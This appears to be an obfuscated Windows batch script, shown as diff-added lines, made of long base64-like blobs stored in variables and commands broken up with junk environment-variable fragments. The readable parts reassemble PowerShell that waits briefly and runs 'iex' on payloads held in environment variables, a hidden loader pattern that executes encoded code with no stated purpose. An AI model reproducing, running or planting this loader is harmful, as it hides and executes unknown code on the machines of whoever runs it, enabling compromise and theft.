ORmLU7LOmWiXPghT91/XQbWFi4pm37RY3oGPSw9sja0BpMxrv5RAoumgSz+ZWszc6CRX+90ConA+gCVjjyZRu+5eSTVWMGfW5N/k9J5qQ0D4BTGsGhgtCmwHPd4oudfFwW0+BDtyP7cecEbFzjB5iq45w/5rItKBcz1gdK1+m/xfPVpur8QgAkOdgQbbXB9xUEeohuC85U4FF+QdI3Tgwe6Yoxnm1cpYWHhNpblwO9qbPJOwAJc1VwWw2NWLJO5Lkl+jvEMq/wTq4z6ZOmwlvSW+jBD+UGZnuzGogLcmOD/GTilEH7R6LDuVrr1qpIy4ntKGEZt0fg9V6p/JVmk1i6MnwdgByP9nyZ6mxylNopnMMI447sEhXL4+OT99w2lAHIfkTsNGJSGH2LfQzBjATAlYAlrbqxJ2V6iXPqT8VmzDwmGiXB7oE99X8jdcUbCDEYPbEh/Q7ktbZhmMzOEwBQa7mYDadBUs5YAy9JCPv+JbCilm2d7T6BgsZs4FBKKW50mjuVUisp2Haklq01tlqhwP/cDwZLcVIJArZkYM7p8L2VKK2oqbt4heS71tfJqtDtHnZpSsbnqwXe/1ZiemMv7F++drLJEP4fVki5RH9XD6VCHrcg33dnpUH9eLAikTwWHgjdciIl0EYvMiLlKjxSPZzMTbIdYaKkvJSfSj64Ar11a7DzVC/PxP6vJIMnwNHECzZhmN4eARX1aU/7rMbx77NHlHrOn9T2X5WYZgALettewtvPaFZavkEH7weFUsmJy/324huDDcByePXDqv3NoZ/HMtzCJuZDe4JkQW5ScG9mqVYw7JaqmbYBWpwsJZfgmqkhvsG6xEY2fnJg43QJ/moxva/pMAOf0Bpi6dGzHdW3BWbp6/CpEvdxtdO32bMS09B5jO2y3spoVpKyEnmRBsN1a4ELlNBfaGa0912JgZtF5KXVjMr/WhhDZQ0/Yha4RQVaEmZbb67OH6wKITnbxKGXh2j/ib1XNm/m+NYnEAz2DqTSzW9FVpghTx763OEn/aC6wY1izIgPVhBXn+xkjHLFjVrPisQXS0bzsv/ZZmNocAGhKkJIEIeJE1RF7ze5+S4++cGluXZTQemHnzhdx5YnoqzAn6rHjC+AB8euRE+sLDX+rdB+YmdzUYLHzdrKZ8igMFuNbd7SGpwSD518HVWJldqYem9uxQiAwGttK5pRxAbyuHeVv9S5uhnr0Erh/+sm4gZf7O6G+OWVDW/7TjMinbPhBeOMxvEluv8Tdd6seEzdbHXmZ3boNweP66pgOF88nL9kXKimxJL3dpp2KlS9lTGH1z0VmeEjcSn4MlhQZF6qApPtyXvoulFqDhHxhO4YIne8VLGJrEsPS0MUiN1XNhXLfVeFL4Ri8ibAEMCpf1gu1+ISqt8Qm0U+CYwoWxTwNPikA0l/e4R17gRX9LHqPQAHbIxFvMArflEvKAEaTMP+Tswg6MqVidToJLtUKkd8rn6F7S4bVscUsiWEGpCf7wgh9MsaqWeIhpZPk1oFfWbGKlqh3waGiun1hfLXbWLCQno9lnI9AGEk/JXjqU2s1ekFAp0X9ganPBQPzoAIpFltWW9UUvpPyOSSXIybS6ofslQry/ZyKnrpaBcZfBqeXC+HijF/ZXK4NsrOcZhMfVzdbHEEjVSZnu1iWRwm09H6OMW/uFLeqBQoPMX71U7kZ5l4TPg89+dAaLAHTLor9T/Qqr0v2t4MZGgq9k5snIpk633QCtPTlR+V/kUTKVntrVb7uLfPRM+2tutwgD3h++Y4qMeoTIEHNRSb3YsblDlq0M9ZpW15u/HVf2GZCRwa9aQLx2kdbI+lrJYCqLXba88dEDfmQcbcECUXMgpkIqj2CX0S1qiFm0N47whSj8rTURsGmSn2hxBuDc2GdgAaPRl8L/i7COURz6q8hdBt+qZUGG91zR1kQjQfv0JfDv7OypSbwRL6BkkPvSWPMKSjivIBficwKdJtKTZ4IJo2XddMSnq7d7zcS290f7LkhbauFZjKaPjbtCRn1tn9amXlxzdOQRkiDFqmEDyTIYGu5WGCnjs+SnMb7jho+XmuajTIfUB7gNKGQZsesDtorx93iVV767yLRznM5DUSThIuW5zDWdHYHUdU8oN0hgi6zYoYi7NJVTqgnSKd1zLVN+5ZzKEUDAXW6TTmmA/l9CnBT+6S1MPvwGQUkkeBOfR8n+nwY0FKhTm/LJimuCor1pVT/Y9Ss3M4YZhPbGYbdc8QDT4SkUrOsMpSv+7XDsPl7fUVAFK4JbloG5XQS2fgHQnJ9za5XCRe+JvonvaU8YbYcrpgwhy2AFf0xMOAO6YgENTGA8xXePI/ez7Tnr4CmHRBpYG9YVcx3mj2DqxEehUAB6IUWiZxQdwlRbPapi/BxCj7aUryLUwqdfyabThfJKn1kkQB09wQAqOGypY2JSBkxfyFPyM9n0OMCaa6VxvIzfdOTr34rMeeJzcA1IR/oglPofOjoMu3Xjo/Aog5hGsQwXflSM0GavbHR9l37AU3aZ3cvzRJze3H7R5DtAUYMpai1So6v7CtNGizW6Du8LjvBjvDFJrekXF01Hqc6DNgsjGO/kf7UPF44CWiMJ8QGi2Aumk9bPt20CkiBU8AClY4Yh+jHB8PpcYmXCODgTpQX0w+BK0glHSzpby1lbDqR4ZKvdO0INntrvTu/owS1XjPF1MzCmVGQOiPWjwud6vvg+o1Kq9PFE5y7fb0VWKhUnV05M8cz7EJXaVTM9V7FvIL/aGjrQh1FRx2DSFr54PFc+Nx3ceGBXwjVrORNDm3d1uKajcQ6z8jV2GLL8QCwh2wMotRjaWKdzhiNmBHUSAgV0PkZbChzjwd+bwgwzgBAhiGk8AA4Y3T+ZcAd3DOBsti2cED6PBMd+a7WCz3alxMhQ53YCc/iwg2FBiySOXWZnaPMxerJUOdnil3Ypcq9a5RsPa0FKOO3tzxkExYBeXHR3l/vPOlElUI3s7PkzOoAYNRl7bBfSMgcYqXTd6b3NKpi6Tjc5Uyh7MWa98h0M3b9xkYLazBOvRxTusLk6k9DhhbqWXTvKBE2qbK3chM46bhKyFDJFLXzWfVQFyc8kEZQAsNZlL+cbJkywDnv3omSpluA9F/2h1FOf8kEnfn1YngZ84gB9YV9TsHt2B2etmeM3Q0JMFtiQYWaXGvWxr6/qMRJOfkn0p8pBqt0zHdPsky2ukwxUNtISXHQflwRj1U82CkqgDFOhH+D7OV4lnYB2UgBP1MOkI52NQzgGSqTvkX/21fSyBVr2my77XGWFSdMDNZ0PvP6ScJkqvnN0Y1H74boi7OnahJdeINWwj8ay/CZhz7Cop6+lWVNgtcUuimx2eZY+k3AJhkthPgVna256FP+HADv82/42/kLasVNzEDF+imuo8GYg85qda61N3ni+9zqxWRexl6Zw2DKlFoCUslt/yOdy90hjM4rCiig+utrnQlhIe1S8YRVjsbB2a7raQ93rOmKViO2dR/kScBS+gRpVA963m7va3Pk5MROKjg5txyC0K6ceig6hn1f4yDaUOC6F+EKHV4U7cls7Xd1efEjogANu0bmFQ0xHzitQrZL7t6mckjSLmxElY61EJal1JcdsIkpJKyccl7CfiDpzjDKatC1Rd7ihEy8YAVKz3t5h5tQAZdKzRgrYgDgJyvsaga8KSX102hHoCUWgj5xqMTfMosMbbrr1YSSxi8yZFEtpMWSZZbCovVttGilr/ORGsOdgnP3bYMMoLtFmSex2YaP6qHzvvgYx7NMrRVw+2Qh0qu74EseJdIJlsMpZnIa1EFXyfLzKx0fGqx9Ps4Vn41bEJahsAfEBubTa5SUbZl7ZaPk+T/r8nq81lytWk+8PAeFqfeWj95c6PYEoCDZRjJb5zpz3wuhfYj50C8H2V2hNFsUDByBLMymEtZizxUiQlQxrDVBOwnzVb7Zm8oDbBTlSEtYj1lc4waCnJezomhEA9SmUngOryCDFHMXx000vTmxRrs1L04SkfxjjNFk23zqbNTZgtxZa++56eAJ13R4c6YPrLxqOv4G+Vfoq5ecgjT5UxzF/NjA4zxjW3RjSHE8pUOtzrvLrZee6RiTMZWWKNl2GfTzGF/khXkTKbBqS8KUI7kTjtQv5MlO2w8qatkEdYmYa3l0QHnA7ABbB3Bh75OE1LGTDzdkDZDQisJZbiEx01jMUOOY3NW6IAaVRVZmmkh9gKJMGmEbT74ia5QAiWbFaK85bNKGfKjbgmQjIWm5Wnb9gPeqFEGqyTLajoBngXm6VJYQ4qdgd8nONE1oWzIXGspNdzQvw83crNMzSJmc4dQdPsjY3a44pPP8SFcBNBYPqAsGvrQCgZTB7scc9BLrLNepGtWzMUmGyq+tOuSK8jv0QvNy/QbKao1dLOx4Ux2M2FphB5MmzlzfR40UL6azSKj4T3YV0vQ9WuQo4IsMe0mD7C1A65uM3r1H8willSS
+%hUWHoxgP%S%QcJl8Q1%E%kIjK5M91%t "nZaRCF=$VxQXG = '%gH6wFmRX%1sLKWt%hrkh04W%vAN'%sOvt6RE%+%pKrtPG%'G'; iex $env:a%v1PY34oD%GVl55"
+%I4MqO3%rEm %bysyJ7CM% okaxvut vrybec kondich xdlgopiy kuzqicb papta dorigiy
+SeT oAWM9gN3=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
+SEt kd7VYdp=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
+sET "bQtWsrx=Start%ShWHu4Y%-%F4roz4eE%S%A0vS011I%lee%VjipZjFI%p %mP6RY3g%-Sec%bnjZMg%o%P9jxscf%nds 3;%Tt4Xx7%iex %tsFImfLI%$en%ZUnLit%v:MDmRRqW"
